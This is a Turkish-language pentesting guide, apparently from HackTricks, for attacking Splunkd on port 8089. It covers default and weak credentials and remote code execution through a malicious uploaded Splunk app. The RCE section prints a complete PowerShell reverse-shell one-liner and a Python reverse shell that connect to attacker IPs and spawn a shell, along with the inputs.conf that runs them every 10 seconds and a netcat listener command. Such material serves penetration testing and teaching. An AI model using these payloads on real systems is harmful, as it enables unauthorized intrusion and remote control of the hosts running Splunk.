8089 - Pentesting Splunkd

Support HackTricks

Temel Bilgiler

Splunk, veri toplama, analiz etme ve görselleştirme konusunda kritik bir rol oynayan bir log analitik aracıdır. Başlangıçta bir SIEM (Güvenlik Bilgisi ve Olay Yönetimi) aracı olarak hizmet vermek amacıyla tasarlanmamış olsa da, güvenlik izleme ve iş analitiği alanında popülerlik kazanmıştır.

Splunk dağıtımları genellikle hassas verileri depolamak için kullanılır ve sistemin ele geçirilmesi durumunda potansiyel saldırganlar için değerli bir bilgi kaynağı olabilir. Varsayılan port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır.

Enumeration

Ücretsiz Versiyon

Splunk Enterprise denemesi 60 gün sonra ücretsiz versiyona dönüşür, bu da kimlik doğrulama gerektirmez. Sistem yöneticilerinin Splunk'ın deneme sürümünü test etmek için kurması ve bunun sonrasında unutulması yaygın bir durumdur. Bu, kimlik doğrulama gerektirmeyen ücretsiz versiyona otomatik olarak dönüşecektir ve bu da ortamda bir güvenlik açığı oluşturur. Bazı organizasyonlar, kullanıcı/rol yönetiminin olmamasıyla ilgili sonuçları tam olarak anlamadan bütçe kısıtlamaları nedeniyle ücretsiz versiyonu tercih edebilir.

Varsayılan Kimlik Bilgileri

Eski Splunk sürümlerinde varsayılan kimlik bilgileri admin:changeme olup, bu bilgiler giriş sayfasında rahatlıkla görüntülenir. Ancak, Splunk'ın en son sürümü kurulum sürecinde kimlik bilgilerini ayarlar. Varsayılan kimlik bilgileri çalışmazsa, admin, Welcome, Welcome1, Password123 gibi yaygın zayıf şifreleri kontrol etmekte fayda vardır.

Bilgi Edinme

Splunk'a giriş yaptıktan sonra, verileri gözden geçirebilir, raporlar çalıştırabilir, gösterge panelleri oluşturabilir, Splunkbase kütüphanesinden uygulamalar yükleyebilir ve özel uygulamalar yükleyebilirsiniz. Ayrıca kod çalıştırabilirsiniz: Splunk, sunucu tarafı Django uygulamaları, REST uç noktaları, betik girdi ve uyarı betikleri gibi kod çalıştırmanın birçok yoluna sahiptir. Bir Splunk sunucusunda uzaktan kod yürütmenin yaygın bir yöntemi, betik girdi kullanmaktır.

Ayrıca, Splunk Windows veya Linux ana bilgisayarlarında kurulabileceğinden, Bash, PowerShell veya Batch betiklerini çalıştırmak için betik girdileri oluşturulabilir.

Shodan

  • Splunk build

RCE

Özel Uygulama Oluşturma

Özel bir uygulama Python, Batch, Bash veya PowerShell betikleri çalıştırabilir. Splunk'ın Python ile yüklü geldiğini unutmayın, bu nedenle Windows sistemlerinde bile python kodu çalıştırabileceksiniz.

Bize yardımcı olması için bu Splunk paketini kullanabilirsiniz. Bu repo içindeki bin dizini, Python ve PowerShell için örnekler içermektedir. Bunu adım adım inceleyelim.

Bunu başarmak için, önce aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekiyor:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin dizini, çalıştırmayı planladığımız herhangi bir script içerecektir (bu durumda, bir PowerShell ters shell), ve varsayılan dizin inputs.conf dosyamızı içerecektir. Ters shell'imiz bir PowerShell one-liner olacak:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf dosyası Splunk'a hangi scriptin çalıştırılacağını ve diğer koşulları belirtir. Burada uygulamayı etkin olarak ayarlıyoruz ve Splunk'a scripti her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsindendir ve girdi (script) yalnızca bu ayar mevcutsa çalışacaktır.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

.bat dosyasına ihtiyacımız var, bu dosya uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.

Sonraki adım, Install app from file seçeneğini seçmek ve uygulamayı yüklemektir.

Kötü niyetli özel uygulamayı yüklemeden önce, Netcat veya socat kullanarak bir dinleyici başlatalım.

sudo nc -lnvp 443

listening on [any] 443 ...

Upload app sayfasında, göz at'a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve Upload'a tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak Enabled olarak değişeceği için bir ters shell alınır.

Linux

Eğer bir Linux host ile uğraşıyorsak, tarball'ı oluşturmadan ve özel kötü amaçlı uygulamayı yüklemeden önce rev.py Python betiğini düzenlememiz gerekecektir. Sürecin geri kalanı aynı kalacak ve Netcat dinleyicimizde bir ters shell bağlantısı alacağız ve yarışa başlayacağız.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Yetki Yükseltme

Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için:

Splunk LPE and Persistence

Referanslar

HackTricks'i Destekleyin

Last updated